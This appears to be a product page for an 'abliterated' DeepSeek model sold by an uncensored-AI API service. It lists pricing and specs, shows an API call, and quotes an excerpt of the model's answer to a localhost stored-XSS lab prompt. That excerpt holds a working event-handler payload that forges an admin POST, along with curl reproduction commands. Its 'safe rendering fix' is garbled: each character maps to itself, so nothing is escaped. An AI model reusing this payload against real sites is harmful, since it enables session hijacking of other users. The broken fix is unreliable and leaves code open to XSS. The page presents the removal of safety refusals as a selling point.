Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.
DeepSeek V4.1 Flash 1017 Abliterated
deepseek-v4.1-flash-1017-abliteratedAvailable in browser Chat and through the OpenAI-compatible API.
Token pricing
Prices in USD per 1 million tokens
- Input / 1M
- $0.300
- Cached / 1M
- $0.160
- Output / 1M
- $0.300
Model specifications
DeepSeek · abliterated
- Context window
- 1,000,000 tokens
- Maximum output
- 65,536 tokens
- Capabilities
- Text · Streaming
Measured performance
- Avg. tokens/sec
- 105.1
- TTFT estimate
- 2.3 s
- Uptime proxy
- 80%
Updated 10/28/26, 8:42:53 PM UTC · 10 checks · A dash means there is not enough current measurement data.
TTFT is estimated from upstream average one-token latency. Uptime proxy is recent check success, not time-based uptime.
Average tokens/sec includes waiting: total output divided by total request time over 7 days, rounded down. Requires 5 successful responses of 64+ tokens. Simulated responses are excluded.
Source: UncensoredAI status · Upstream checks older than 30 minutes are unavailable. These are observations, not guarantees.
See the model respond
A real response to a stored XSS question for a localhost-only lab. The original prompt and response are shown in English. Output is displayed as text; no example code runs on this page.
DeepSeek V4.1 Flash 1017 Abliterated
Recorded model response · Oct 28, 2026, 7:09 PM UTC
Selected excerpt from the recorded response. Some parts are omitted.
node server.js &
curl -s -X POST localhost:3000/comment --data-urlencode 't=<img src=x onerror="fetch('"'"'/admin/banner'"'"',{method:'"'"'POST'"'"',headers:{'"'"'Content-Type'"'"':'"'"'application/json'"'"'},body:JSON.stringify({text:'"'"'OWNED IN THE LAB'"'"'})})">'
curl -s -c /tmp/j localhost:3000/admin # fake admin session
node bot.js # prints: OWNED IN THE LABconst esc = s => s.replace(/[&<>"]/g, c => ({ '&':'&','<':'<','>':'>','"':'"' }[c]));
// ... <p>${esc(c)}</p>Use this model through the API
Create an API key and add prepaid credits. Set UNCENSOREDLABS_API_KEY in your environment. Install the openai package for the JavaScript or Python example.
curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
-H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"model": "deepseek-v4.1-flash-1017-abliterated",
"messages": [{"role": "user", "content": "Hello, world."}],
"max_tokens": 256,
"stream": true
}'Limitations and billing
- Unfiltered does not guarantee an answer to every prompt. Responses can be incorrect, incomplete, or refused by the model.
- The published maximum output is the UncensoredLabs service limit. Long generations and full-context workloads have not been benchmarked.
- Requests reserve credit for the full context window and requested maximum output, then settle against verified usage. An uncertain request may retain its hold for review.
- Requests have a ten-minute deadline. Rate limits, concurrency limits, and provider availability apply; API errors include 429 responses with Retry-After.
- UncensoredLabs does not store prompts or responses on its servers. The inference provider’s retention policy applies.